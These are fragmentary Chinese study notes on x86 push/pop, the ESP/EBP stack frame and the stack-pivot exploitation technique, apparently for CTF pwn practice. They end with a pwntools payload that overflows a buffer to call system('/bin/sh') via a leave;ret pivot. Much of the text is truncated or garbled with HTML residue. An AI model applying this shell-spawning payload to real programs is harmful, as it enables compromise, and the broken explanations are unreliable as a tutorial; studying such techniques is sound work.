#一些汇编指令的含义
![[Pasted image 20230312120910.png]]
1
以下为具体示意pop
是汇编指令中的一种pop
指令通常用于函数调用时弹出参数pop
指令的操作数可以是寄存器或内存地址pop
指令时
2是不是很形象的将栈帧向下移动一段距离
以下为具体示意push
是汇编指令中的一种push
指令通常用于函数调用时将参数入栈push
指令的操作数可以是寄存器push
指令时
3
4,b高s低
b是赛高的s无所谓
esp ebp在函数调用过程中的形式
高地址
......
| |
| |<- EBP<span class="bd-box"><h-char class="bd bd-end"><h-inner>(</h-inner></h-char></span>栈底<span class="bd-box"><h-char class="bd bd-beg"><h-inner>)</h-inner></h-char></span>
| 局部 |
| 变量 |
| |
| |
| 参数 |
| |
| |
| |<- ESP<span class="bd-box"><h-char class="bd bd-end"><h-inner>(</h-inner></h-char></span>栈顶<span class="bd-box"><h-char class="bd bd-beg"><h-inner>)</h-inner></h-char></span>
......
低地址
5地址
给ebp寄存器
之后ebp寄存器
在栈旁侧进行指向
6
———————————————————————————分割线
#以下为栈迁移的讲解核心思想<span class="bd-box"><h-char class="bd bd-beg"><h-inner>:</h-inner></h-char></span>
让esp跑两次
第一次篡改
过后的old ebp地址出栈
第二次
![[Pasted image 20230303190918.png]]
![[Pasted image 20230303190931.png]]
栈迁移原理介绍与应用 - Max1z - 博客园 (cnblogs.com)
这篇文章讲解的足够详细
要点归纳
1
2. # 第二次溢出
payload=p32(elf.plt['system'])+p32(elf.sym['_start'])+p32(leak_ebp-offset+0xc)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'a')+p32(target_addr)+p32(leave_ret)
第一行为向s中写数据
第二行为写入数据并对齐